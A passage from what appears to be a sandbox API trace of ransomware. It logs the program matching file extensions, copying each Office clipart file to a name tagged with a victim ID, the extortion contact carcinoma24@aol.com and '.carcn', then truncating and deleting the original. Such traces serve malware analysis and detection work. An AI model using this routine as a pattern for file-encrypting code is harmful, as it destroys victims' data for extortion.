Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0299.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.522] lstrlenW (lpString=".doc") returned 4 [0299.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.522] lstrlenW (lpString=".docx") returned 5 [0299.522] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0299.522] lstrlenW (lpString=".pdf") returned 4 [0299.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.522] lstrlenW (lpString=".xls") returned 4 [0299.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.522] lstrlenW (lpString=".xlsx") returned 5 [0299.522] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0299.522] lstrlenW (lpString=".ppt") returned 4 [0299.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.522] lstrlenW (lpString=".zip") returned 4 [0299.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.523] lstrlenW (lpString=".rar") returned 4 [0299.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.523] lstrlenW (lpString=".bz2") returned 4 [0299.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.523] lstrlenW (lpString=".7z") returned 3 [0299.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.523] lstrlenW (lpString=".dbf") returned 4 [0299.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.523] lstrlenW (lpString=".1cd") returned 4 [0299.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.523] lstrlenW (lpString=".jpg") returned 4 [0299.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.523] lstrlenW (lpString=".doc") returned 4 [0299.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.523] lstrlenW (lpString=".docx") returned 5 [0299.523] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0299.523] lstrlenW (lpString=".pdf") returned 4 [0299.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.523] lstrlenW (lpString=".xls") returned 4 [0299.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.523] lstrlenW (lpString=".xlsx") returned 5 [0299.524] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0299.524] lstrlenW (lpString=".ppt") returned 4 [0299.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.524] lstrlenW (lpString=".zip") returned 4 [0299.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.524] lstrlenW (lpString=".rar") returned 4 [0299.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.524] lstrlenW (lpString=".bz2") returned 4 [0299.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.524] lstrlenW (lpString=".7z") returned 3 [0299.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.524] lstrlenW (lpString=".dbf") returned 4 [0299.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.524] lstrlenW (lpString=".1cd") returned 4 [0299.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0299.524] lstrlenW (lpString=".jpg") returned 4 [0299.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.524] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.524] lstrlenW (lpString="CRANE.WMF") returned 9 [0299.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.525] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5270) returned 1 [0299.525] CloseHandle (hObject=0x394) returned 1 [0299.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0299.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.525] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.525] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0300.032] GetLastError () returned 0x0 [0300.032] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1496, lpOverlapped=0x0) returned 1 [0300.033] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0300.034] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.034] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xe6, lpOverlapped=0x0) returned 1 [0300.034] SetEndOfFile (hFile=0x34c) returned 1 [0300.035] CloseHandle (hObject=0x34c) returned 1 [0300.035] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.035] SetEndOfFile (hFile=0x394) returned 1 [0300.036] CloseHandle (hObject=0x394) returned 1 [0300.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0300.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.037] lstrlenW (lpString=".doc") returned 4 [0300.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.037] lstrlenW (lpString=".docx") returned 5 [0300.037] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0300.037] lstrlenW (lpString=".pdf") returned 4 [0300.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.037] lstrlenW (lpString=".xls") returned 4 [0300.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.037] lstrlenW (lpString=".xlsx") returned 5 [0300.037] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0300.037] lstrlenW (lpString=".ppt") returned 4 [0300.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.037] lstrlenW (lpString=".zip") returned 4 [0300.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.037] lstrlenW (lpString=".rar") returned 4 [0300.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.037] lstrlenW (lpString=".bz2") returned 4 [0300.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.037] lstrlenW (lpString=".7z") returned 3 [0300.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.037] lstrlenW (lpString=".dbf") returned 4 [0300.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.037] lstrlenW (lpString=".1cd") returned 4 [0300.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.037] lstrlenW (lpString=".jpg") returned 4 [0300.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.038] lstrlenW (lpString=".doc") returned 4 [0300.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.038] lstrlenW (lpString=".docx") returned 5 [0300.038] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0300.038] lstrlenW (lpString=".pdf") returned 4 [0300.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.038] lstrlenW (lpString=".xls") returned 4 [0300.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.038] lstrlenW (lpString=".xlsx") returned 5 [0300.038] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0300.038] lstrlenW (lpString=".ppt") returned 4 [0300.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.038] lstrlenW (lpString=".zip") returned 4 [0300.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.038] lstrlenW (lpString=".rar") returned 4 [0300.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.038] lstrlenW (lpString=".bz2") returned 4 [0300.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.038] lstrlenW (lpString=".7z") returned 3 [0300.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.038] lstrlenW (lpString=".dbf") returned 4 [0300.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.038] lstrlenW (lpString=".1cd") returned 4 [0300.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0300.038] lstrlenW (lpString=".jpg") returned 4 [0300.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.039] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.039] lstrlenW (lpString="DD00407_.WMF") returned 12 [0300.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.039] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7828) returned 1 [0300.039] CloseHandle (hObject=0x394) returned 1 [0300.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0300.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.039] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.039] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0300.040] GetLastError () returned 0x0 [0300.040] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1e94, lpOverlapped=0x0) returned 1 [0300.040] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1ea0, lpOverlapped=0x0) returned 1 [0300.041] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.041] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.041] SetEndOfFile (hFile=0x34c) returned 1 [0300.041] CloseHandle (hObject=0x34c) returned 1 [0300.042] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.042] SetEndOfFile (hFile=0x394) returned 1 [0300.042] CloseHandle (hObject=0x394) returned 1 [0300.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0300.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.043] lstrlenW (lpString=".doc") returned 4 [0300.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.043] lstrlenW (lpString=".docx") returned 5 [0300.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.043] lstrlenW (lpString=".pdf") returned 4 [0300.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.043] lstrlenW (lpString=".xls") returned 4 [0300.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.043] lstrlenW (lpString=".xlsx") returned 5 [0300.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.043] lstrlenW (lpString=".ppt") returned 4 [0300.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.043] lstrlenW (lpString=".zip") returned 4 [0300.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.043] lstrlenW (lpString=".rar") returned 4 [0300.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.043] lstrlenW (lpString=".bz2") returned 4 [0300.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.043] lstrlenW (lpString=".7z") returned 3 [0300.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.043] lstrlenW (lpString=".dbf") returned 4 [0300.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.044] lstrlenW (lpString=".1cd") returned 4 [0300.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.044] lstrlenW (lpString=".jpg") returned 4 [0300.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.044] lstrlenW (lpString=".doc") returned 4 [0300.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.044] lstrlenW (lpString=".docx") returned 5 [0300.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.044] lstrlenW (lpString=".pdf") returned 4 [0300.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.044] lstrlenW (lpString=".xls") returned 4 [0300.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.044] lstrlenW (lpString=".xlsx") returned 5 [0300.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.044] lstrlenW (lpString=".ppt") returned 4 [0300.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.044] lstrlenW (lpString=".zip") returned 4 [0300.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.044] lstrlenW (lpString=".rar") returned 4 [0300.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.044] lstrlenW (lpString=".bz2") returned 4 [0300.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.044] lstrlenW (lpString=".7z") returned 3 [0300.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.044] lstrlenW (lpString=".dbf") returned 4 [0300.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.044] lstrlenW (lpString=".1cd") returned 4 [0300.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0300.045] lstrlenW (lpString=".jpg") returned 4 [0300.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.045] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.045] lstrlenW (lpString="DD00413_.WMF") returned 12 [0300.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.045] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=42992) returned 1 [0300.045] CloseHandle (hObject=0x394) returned 1 [0300.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0300.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.045] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.045] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0300.048] GetLastError () returned 0x0 [0300.048] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xa7f0, lpOverlapped=0x0) returned 1 [0300.050] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xa800, lpOverlapped=0x0) returned 1 [0300.051] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.051] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.051] SetEndOfFile (hFile=0x34c) returned 1 [0300.051] CloseHandle (hObject=0x34c) returned 1 [0300.051] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.052] SetEndOfFile (hFile=0x394) returned 1 [0300.053] CloseHandle (hObject=0x394) returned 1 [0300.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0300.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0300.054] lstrlenW (lpString="C:\\Program Files\\Microsoft 